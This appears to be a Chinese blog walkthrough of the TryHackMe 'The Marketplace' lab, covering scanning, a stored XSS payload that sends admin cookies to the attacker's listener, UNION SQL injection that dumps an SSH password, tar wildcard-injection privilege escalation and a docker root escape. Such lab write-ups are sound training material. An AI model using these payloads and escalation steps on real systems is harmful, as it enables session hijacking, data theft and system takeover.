【THM】The Marketplace练习

【THM】The Marketplace练习

与本文相关的TryHackMe实验房间链接:TryHackMe | The Marketplace

简介:你能接管marketplace的基础设施吗?

The Marketplace的系统管理员Michael允许您访问他的一个内部服务器,因此您可以渗透他和他的团队正在开发的The Marketplace平台。他说,他和他的团队还需要解决一些bug。

image-20241005154844263

第一题:flag 1是什么?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.42.48

image-20241005155054731

可以发现目标开放了3个端口:22/tcp ssh服务、80/tcp http服务、32768/tcp http服务

第二步

访问网站

我们先进入网站看看界面

image-20241005155216581

可以发现这个超市就只卖仙人掌和笔记本电脑

我们可以做的操作有登录和注册,先注册一个账号看看:

image-20241005155915613

注册登录后多出两个功能点:上架商品和消息,并且在商品页面中可以联系卖家和举报产品

我们尝试上架一个商品,发现存在存储型XSS漏洞:

image-20241005161245360image-20241005161312011

尝试举报产品会收到系统的消息

image-20241005160604790

第三步

信息收集

网页源码中没有藏什么东西

我们进行目录扫描:

gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt

image-20241005160628997

我们得到一个很重要的路径:/admin(robots.txt中写的路径也是如此)

管理员的页面禁止我们访问:

image-20241005160722673

第四步

尝试越权

我们先抓个包观察一下我们的请求:

image-20241005161431672

可以发现我们的Cookie中含有token识别我们的身份,我们尝试解码:

image-20241005161626726

可以发现有一个admin的参数,我们尝试修改为true进入/admin,但是失败了

第五步

利用XSS漏洞进行钓鱼

这里有一个很骚的思路,我们上传商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token

首先我们建立一个web服务器进行监听:

python -m http.server

然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie

<img src=x onerror=this.src="http://10.10.22.44:8000/?c="+document.cookie>

<img> 用于加载图像。

src=x 设置一个无效的图像源,通常会导致加载失败。

onerror 当图像加载失败时触发的事件。

this.src 在图像加载失败时,将图像的 src 属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中

document.cookie 获取当前页面的 cookies

image-20241005163556416

image-20241005163706006

可以发现正在查看这个页面的自己的cookie不断回显出来,我们现在举报商品

image-20241005163912856

发现有几条不一样的,我们提取Token分析:

image-20241005163947267

有了admin的Token,我们现在换上:

image-20241005164039186

成功进入admin后台,得到了flag:

image-20241005164137576

第二题:flag 2是什么?(User.txt)

第一步

观察功能点

成为后台管理员,我们能做的操作有:查看用户详细信息、删除用户

image-20241005164420728

我们可以发现我们查看用户信息时是直接GET请求数字得到的信息:

sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"

别用SQLMAP!!!!直接给你cookie的token整报废又得重新拿token

第二步

SQL注入

我们尝试进行注入:

http://10.10.42.48/admin?user=1 order by 3 --+

正常回显

http://10.10.42.48/admin?user=1 order by 5 --+

image-20241005165812419

报错,因此可以判断网站查询的字段数为4

http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+

image-20241005165930923

发现1,2的位置可以回显

http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+

image-20241005170107248

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

image-20241005170309633

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

image-20241005170416962

http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

image-20241005170716857

我们发现了关键信息,SSH连接的密码!

第三步

使用ssh连接

我们可以发现这是user1发送给user3的消息,我们所以我们可以尝试使用jake作为用户名进行连接:

ssh jake@10.10.42.48

image-20241005171412751

image-20241005180716117

第三题:flag 3是什么?(Root.txt)

第一步

查看我们的权限

sudo -l

image-20241005171539596

我们可以发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh

我们看看脚本中的命令

cat /opt/backups/backup.sh

image-20241005171654342

这是一个压缩备份当前目录下的所有文件的脚本

tar cf /opt/backups/backup.tar *

第二步

提升我们的权限

我们在GTFOBins中搜索发现:

image-20241005172656893

我们使用a方式,我们分析其原理:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管

--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。

--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh,即启动一个新的 shell。

只要能够让--checkpoint=1--checkpoint-action=exec=sh运行起来就行了,那么我们只用创建两个名为--checkpoint=1--checkpoint-action=exec=sh的文件就行了

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh

image-20241005173807393

我们成为了michael!

第三步

查看我们的权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241005173945447

我们在GTFOBins中搜索没有发现,我们看看用户组

id

image-20241005180221024

可以发现michael是docker用户

第四步

提升我们的权限

我们可以在GTFOBins中发现docker的提权方法:

image-20241005180040163

我们使用命令:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20241005180546023

直接看root文件夹中的flag3

image-20241005180627292

image-20241005180723259

posted @ 2024-10-06 09:58  Super_Snow_Sword  阅读(13)  评论(0编辑  收藏  举报